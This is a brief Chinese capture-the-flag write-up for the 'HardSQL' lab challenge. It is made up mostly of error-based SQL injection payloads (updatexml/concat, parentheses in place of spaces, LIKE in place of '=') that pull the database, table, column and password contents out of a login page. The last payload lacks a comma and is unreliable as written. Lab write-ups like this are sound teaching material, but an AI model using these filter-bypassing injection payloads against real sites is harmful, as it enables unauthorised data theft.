[极客大挑战 2019]HardSQL
打开靶机
试下万能密码和双写绕过
使用报错注入,使用()来代替空格,使用like来代替=号
先爆库名
check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
查表:
check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23
查字段:
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
查password:
admin'or(updatexml(1,concat(0x7e(select(password)from(H4rDsq1)),0x7e),1))#
只有一半flag,使用{left(),right()},拼接得到完整答案。